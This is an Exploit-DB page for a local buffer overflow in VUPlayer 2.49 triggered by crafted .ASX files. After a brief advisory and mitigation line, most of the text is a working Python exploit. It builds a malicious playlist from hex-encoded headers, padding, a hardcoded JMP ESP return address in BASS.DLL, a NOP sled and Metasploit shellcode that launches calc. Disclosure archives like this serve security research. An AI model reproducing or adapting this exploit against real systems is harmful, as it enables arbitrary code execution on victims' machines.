VUPlayer 2.49 .ASX File (Universal) Local Buffer Overflow Exploit

VUPlayer 2.49 is prone to a buffer overflow vulnerability when processing .ASX files. This vulnerability is due to a boundary error when copying user-supplied data into a fixed-length buffer. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of VUPlayer 2.49 or later.

Source

Exploit-DB raw data:

# VUPlayer 2.49 .ASX File (Universal) Local Buffer Overflow Exploit
# By:Encrypt3d.M!nd
#
# This is an exploit for this Proof of Concept:
# http://milw0rm.com/exploits/7709
# very easy one  :) 
#
# Well i've Sent this since the poc published but str0ke had a brain fart :)
#
# Greetz:Str0ke(God Bless You bro),-=Mizo=-,L!0N,El Mariachi,MiNi SpIder and all my friends
#
# Iam Iraqian...Not Arabian


header1 = (
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20"
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72"
"\x79\x3E\x0D\x0D\x0A\x3C\x74\x69\x74\x6C\x65\x3E\x61\x72\x63"
"\x68\x20\x65\x6E\x65\x6D\x79\x2D\x6E\x65\x6D\x73\x69\x73\x2E"
"\x6D\x70\x33\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0D\x0D\x0A\x3C"
"\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20")

header2 = (
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D"
"\x0A\x3C\x2F\x61\x73\x78\x3E")

chars = "A" * 1012

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

# Return Address is:0x100222C5 JMP ESP BASS.DLL -> Universal Address Thnx SKD

file=open('exp.asx','w')
file.write(header1+chars+"\xc5\x22\x02\x10"+"\x90"*25+shellcode+header2)
file.close()

# milw0rm.com [2009-01-13]